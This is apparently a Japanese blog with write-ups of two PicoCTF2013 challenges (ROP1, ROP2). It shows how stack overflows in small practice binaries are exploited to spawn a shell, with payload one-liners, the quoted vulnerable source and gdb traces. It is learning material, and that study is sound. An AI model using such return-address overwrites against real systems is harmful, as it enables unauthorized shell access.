PicoCTF2013 ROP2 Writeup

前回に引き続き、PicoCTF2013の問題。今回はROP2。

問題編

今回もソースコード付きの問題。 前回と比べて差分もちょっとだけで、system関数を使っているところは同じだが、/bin/bash文字列が別の場所に定義されている。

# diff -b ../ROP1/rop1.c rop2-20f65dd0bcbe267d.c
5a6,7
> char * not_used = "/bin/bash";
>
7c9
<       return system("/bin/bash");
---
>       return system("/bin/date");

解答編

まずは基本的な調査。

# file rop2-20f65dd0bcbe267d
rop2-20f65dd0bcbe267d: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=f59c4efbc216be9521154b3858d1eeeaa431bae5, not stripped


# gdb -q ./rop2-20f65dd0bcbe267d
Reading symbols from /root/ctf/picoCTF2013/ROP2/rop2-20f65dd0bcbe267d...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

EIPを取るところまでは前回と同じ。

前回のexploitとなった入力(input3)を使用してsystem関数の挙動を見てみる。

   0x80484aa <not_called+6>:    mov    DWORD PTR [esp],0x804861a
=> 0x80484b1 <not_called+13>:   call   0x80483a0 <system@plt>
   0x80484b6 <not_called+18>:   leave
   0x80484b7 <not_called+19>:   ret
   0x80484b8 <vulnerable_function>:     push   ebp
   0x80484b9 <vulnerable_function+1>:   mov    ebp,esp
Guessed arguments:
arg[0]: 0x804861a ("/bin/date")

すると、system関数を呼び出す直前に、スタックに/bin/date文字列を指すポインタを格納している。 よって、スタックの先頭に/bin/bash文字列を指すポインタを設定できれば解けそうなことがわかる。

まずは、/bin/bash文字列のアドレスを調べる。 objdumpに引数'-s'を与えると、プログラムで使用している文字列がどこのアドレスに格納されているかわかる模様。

# objdump -s -D -Mintel rop2-20f65dd0bcbe267d | grep bin
 8048608 03000000 01000200 2f62696e 2f626173  ......../bin/bas
 8048618 68002f62 696e2f64 61746500 48656c6c  h./bin/date.Hell

この結果から、スタックの先頭に0x08048610を格納すればよいことがわかる。

試しに、デバッガで直接、ポインタの値を変更して実行してみた。

=> 0x80484aa <not_called+6>:    mov    DWORD PTR [esp],0x804861a
   0x80484b1 <not_called+13>:   call   0x80483a0 <system@plt>

gdb-peda$ x/7b 0x80484aa
0x80484aa <not_called+6>:       0xc7    0x04    0x24    0x1a    0x86    0x04    0x08
gdb-peda$ x/4b 0x80484ad
0x80484ad <not_called+9>:       0x1a    0x86    0x04    0x08

gdb-peda$ set *0x80484ad=0x08048610
gdb-peda$ x/4b 0x80484ad
0x80484ad <not_called+9>:       0x10    0x86    0x04    0x08

   0x80484aa <not_called+6>:    mov    DWORD PTR [esp],0x8048610
=> 0x80484b1 <not_called+13>:   call   0x80483a0 <system@plt>
   0x80484b6 <not_called+18>:   leave
   0x80484b7 <not_called+19>:   ret
   0x80484b8 <vulnerable_function>:     push   ebp
   0x80484b9 <vulnerable_function+1>:   mov    ebp,esp
Guessed arguments:
arg[0]: 0x8048610 ("/bin/bash")
[------------------------------------stack-------------------------------------]
0000| 0xffffd5c4 --> 0x8048610 ("/bin/bash")


[New process 19957]
process 19957 is executing new program: /usr/bin/bash
[Switching to process 19957]

なんとなく、bashが起動できてそうな雰囲気。

ここで、デバッガで色々動かしてみて、スタックの様子を観察してみた。 f:id:boblice:20170913172750p:plain

main関数からvuln関数を呼び出すときは、上図のようにmain関数の次の実行アドレスを戻りアドレスとして スタックに積み、その上にmain関数で指していたEBPの値を積むことになっている。

前回のROP1では上図の緑色の「戻りアドレス」を書き換えれば攻略できた。

今回のROP2では、戻りアドレスを書き換えるとともに、 青色の元々はmainで使用していたスタック領域も書き換えればよさそう。

以下の2点を考慮して入力(input4)を作成。

  • 戻りアドレスはnot_called関数の先頭アドレスではなく、system関数をcallするアドレス(0x080484b1)。
  • スタックの戻りアドレスの直後に、/bin/bash文字列のアドレス(0x08048610)を格納。
# python -c 'import sys; sys.stdout.write("A"*140)' > input4 && echo -ne '\xb1\x84\x04\x08\x10\x86\x04\x08' >> input4

この入力を使ってデバッガ実行してみる。

EBP: 0x41414141 ('AAAA')
ESP: 0xffffd5dc --> 0x80484b1 (<not_called+13>: call   0x80483a0 <system@plt>)
EIP: 0x80484e0 (<vulnerable_function+40>:       ret)
EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484d3 <vulnerable_function+27>:  mov    DWORD PTR [esp],0x0
   0x80484da <vulnerable_function+34>:  call   0x8048380 <read@plt>
   0x80484df <vulnerable_function+39>:  leave
=> 0x80484e0 <vulnerable_function+40>:  ret
   0x80484e1 <be_nice_to_people>:       push   ebp
   0x80484e2 <be_nice_to_people+1>:     mov    ebp,esp
   0x80484e4 <be_nice_to_people+3>:     sub    esp,0x28
   0x80484e7 <be_nice_to_people+6>:     call   0x8048390 <getegid@plt>
[------------------------------------stack-------------------------------------]
0000| 0xffffd5dc --> 0x80484b1 (<not_called+13>:        call   0x80483a0 <system@plt>)
0004| 0xffffd5e0 --> 0x8048610 ("/bin/bash")
0008| 0xffffd5e4 --> 0x8000
0012| 0xffffd5e8 --> 0x8048549 (<__libc_csu_init+9>:    add    ebx,0x1aab)
0016| 0xffffd5ec --> 0xf7fc2000 --> 0x1b9d9c
0020| 0xffffd5f0 --> 0x8048540 (<__libc_csu_init>:      push   ebp)
0024| 0xffffd5f4 --> 0x0
0028| 0xffffd5f8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080484e0 in vulnerable_function ()
gdb-peda$
Cannot access memory at address 0x41414145

エラーとなり、system関数が実行される前に終了してしまっている模様。

EBPが適当な値になっていないので、それらしい値に変更した入力(input5)を作成。

# python -c 'import sys; sys.stdout.write("A"*136)' > input5 && echo -ne '\xdc\xd5\xff\xff\xb1\x84\x04\x08\x10\x86\x04\x08' >> input5
EBP: 0xffffd5dc --> 0x80484b1 (<not_called+13>: call   0x80483a0 <system@plt>)
ESP: 0xffffd5e0 --> 0x8048610 ("/bin/bash")
EIP: 0x80484b1 (<not_called+13>:        call   0x80483a0 <system@plt>)
EFLAGS: 0x207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484a5 <not_called+1>:    mov    ebp,esp
   0x80484a7 <not_called+3>:    sub    esp,0x18
   0x80484aa <not_called+6>:    mov    DWORD PTR [esp],0x804861a
=> 0x80484b1 <not_called+13>:   call   0x80483a0 <system@plt>
   0x80484b6 <not_called+18>:   leave
   0x80484b7 <not_called+19>:   ret
   0x80484b8 <vulnerable_function>:     push   ebp
   0x80484b9 <vulnerable_function+1>:   mov    ebp,esp
Guessed arguments:
arg[0]: 0x8048610 ("/bin/bash")
[------------------------------------stack-------------------------------------]
0000| 0xffffd5e0 --> 0x8048610 ("/bin/bash")
0004| 0xffffd5e4 --> 0x8000
0008| 0xffffd5e8 --> 0x8048549 (<__libc_csu_init+9>:    add    ebx,0x1aab)
0012| 0xffffd5ec --> 0xf7fc2000 --> 0x1b9d9c
0016| 0xffffd5f0 --> 0x8048540 (<__libc_csu_init>:      push   ebp)
0020| 0xffffd5f4 --> 0x0
0024| 0xffffd5f8 --> 0x0
0028| 0xffffd5fc --> 0xf7e219a3 (<__libc_start_main+243>:       mov    DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080484b1 in not_called ()
gdb-peda$
[New process 21955]
process 21955 is executing new program: /usr/bin/bash
[Switching to process 21955]

今度は見事にbashを起動することができた。

# cat input5 /dev/stdin | ./rop2-20f65dd0bcbe267d
ls

前回同様、標準入力が閉じないようにすると、シェルが取れてコマンドが実行可能に!

学んだこと

  • objdump -s で格納文字列の情報もダンプできる。
  • vuln関数におけるスタックオーバフローにより、呼び出し元関数のスタックを変更し悪用することが可能。

追記

デバッガを使用しなければ、input4でもシェルを取ることができる模様。

PicoCTF2013 ROP1 Writeup

CTFに参加しても全然解けないので、難易度低めの過去問を解いていこうと思う。 特にPwnやRevが解けるようになりたい!!

まずはPicoCTFの問題からやっていきます。 今回は2013年のROP1。

問題編

珍しく問題文が充実してる。

Category: Binary Exploitation Points: 95 Description:

ROP is a classic technique for getting around address randomization and non-executable memory. This sequence will teach you the basics.

また、ソースコードも与えられていた。優しい!

#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int not_called() {                    //★shellを起動する関数
    return system("/bin/bash");
}

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256); //★bufサイズよりも大きいサイズを読み込み可能
}

void be_nice_to_people() {
    // /bin/sh is usually symlinked to bash, which usually drops privs. Make
    // sure we don't drop privs if we exec bash, (ie if we call system()).
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
}

int main(int argc, char** argv) {
        be_nice_to_people();
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

解答編

実行してみる。

# ./rop1-fa6168f4d8eba0eb
                           ★ここで入力待ちになる。
Hello, World

実行すると入力待ちになり、Enterを押下するとHello, Worldが表示される。

fileコマンド

# file rop1-fa6168f4d8eba0eb
rop1-fa6168f4d8eba0eb: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=3d63cf7522376251b7ae4ceb1d4aaaeb287cc7b1, not stripped

ltraceで動作の概要を観察する。

# ltrace ./rop1-fa6168f4d8eba0eb
__libc_start_main(0x804850a, 1, 0xffca3fb4, 0x8048540 <unfinished ...>
getegid()                                                     = 0
setresgid(0, 0, 0, 0x8048361)                                 = 0
read(0
, "\n", 256)                                            = 1
write(1, "Hello, World\n", 13Hello, World
)                                = 13
+++ exited (status 13) +++

checksecでセキュリティ対策を確認。

# gdb -q ./rop1-fa6168f4d8eba0eb
Reading symbols from /root/ctf/picoCTF2013/ROP1/rop1-fa6168f4d8eba0eb...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

NXは有効になっている模様。

pattcを使ってオーバフローを発生させてみる。

# gdb -q ./rop1-fa6168f4d8eba0eb
Reading symbols from /root/ctf/picoCTF2013/ROP1/rop1-fa6168f4d8eba0eb...(no debugging symbols found)...done.
gdb-peda$ pattc 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
Starting program: /root/ctf/picoCTF2013/ROP1/./rop1-fa6168f4d8eba0eb <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0xc9
EBX: 0xf7fc2000 --> 0x1b9d9c
ECX: 0xffffd550 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
EDX: 0x100
ESI: 0x0
EDI: 0x0
EBP: 0x41514141 ('AAQA')
ESP: 0xffffd5e0 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
EIP: 0x41416d41 ('AmAA')
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41416d41
[------------------------------------stack-------------------------------------]
0000| 0xffffd5e0 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0004| 0xffffd5e4 ("AASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0008| 0xffffd5e8 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0012| 0xffffd5ec ("TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0016| 0xffffd5f0 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0020| 0xffffd5f4 ("ArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0024| 0xffffd5f8 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0028| 0xffffd5fc ("AAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41416d41 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-157.el7_3.5.i686

pattoでEIPへのオフセットを確認する。

gdb-peda$ patto 'AmAA'
AmAA found at offset: 140
# cat input136
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# ./rop1-fa6168f4d8eba0eb < input136
Hello, World
Segmentation fault (コアダンプ)

136文字以上の入力をするとセグフォルトする模様。

main関数の先頭アドレスを確認。

   0x804850a <main>:    push   ebp
   0x804850b <main+1>:  mov    ebp,esp
   0x804850d <main+3>:  and    esp,0xfffffff0

試しに、EIPがmain先頭付近のアドレス0x804850bを指すようにオーバフローさせてみる。 エンディアンの影響に注意すること。

# python -c 'import sys; sys.stdout.write("A"*140)' > input2 && echo -ne '\x0b\x85\x04\x08' >> input2
# xxd input2
0000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000020: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000030: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000040: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000050: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000060: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000070: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000080: 4141 4141 4141 4141 4141 4141 0b85 0408  AAAAAAAAAAAA....

この入力(input2)を使ってデバッガ実行すると、 確かにvulnerable_function関数の戻りアドレスを0x804850bにできていることが確認できた。 ここまでで、EIPを取ることができたと言えるだろう。

ソースコードを見ると、bashを呼ぶ関数があることに気づく。

int not_called() {
    return system("/bin/bash");
}

objdumpから、該当関数のアドレスを確認。

080484a4 <not_called>:
 80484a4:       55                      push   ebp

該当関数のアドレスにEIPが移るような入力を用意。

# python -c 'import sys; sys.stdout.write("A"*140)' > input3 && echo -ne '\xa4\x84\x04\x08' >> input3

その入力で実行してみる。

# gdb -q ./rop1-fa6168f4d8eba0eb
Reading symbols from /root/ctf/picoCTF2013/ROP1/rop1-fa6168f4d8eba0eb...(no debugging symbols found)...done.
gdb-peda$ r < input3
Starting program: /root/ctf/picoCTF2013/ROP1/./rop1-fa6168f4d8eba0eb < input3
[New process 14774]
process 14774 is executing new program: /usr/bin/bash
Missing separate debuginfos, use: debuginfo-install glibc-2.17-157.el7_3.5.i686
process 14774 is executing new program: /usr/bin/bash
[Inferior 2 (process 14774) exited normally]
Warning: not running or target is remote

うまく実行できず。。。 いや、実行できているけど、正常終了してしまっている模様。

ここで、ヒントを参照。

Hint: It is really important not to close standard in: a common trick is to do

      echo -ne "my_exploit_string" > ~/some_random_file
      cat ~/some_random_file /dev/stdin | ./rop1

      Alternatively,

         cat <(python -c 'print "my_exploit_string"') - | ./rop1

Otherwise, you will launch a shell, but standard in will be closed, so it'll
just exit immediately, which is not much use at all!

Good luck!
# cat input3 /dev/stdin | ./rop1-fa6168f4d8eba0eb
ls

catの後に、/dev/stdinを付加するとシェルが取れた!! こうすることで、標準入力を閉じないようにしている模様。

学んだこと

  • pattc/pattoを使うとEIPへのオフセットが容易に求まる
  • echoコマンドに'-e'オプションをつけると、バイナリが扱える
  • シェルが取れても標準入力が閉じてしまうことがある
  • <<< はヒアストリングと言うらしい

最後に

ROPって何ぞや。。。

Return Oriented Programming: 実行したいコードを細かく分割し.text領域から探して組み合わせたもの

つまり、今回はソースコード中にsystem関数でbashを呼び出す箇所があったから、 それをそのまま利用するってことで、ROPと呼んでいる訳か。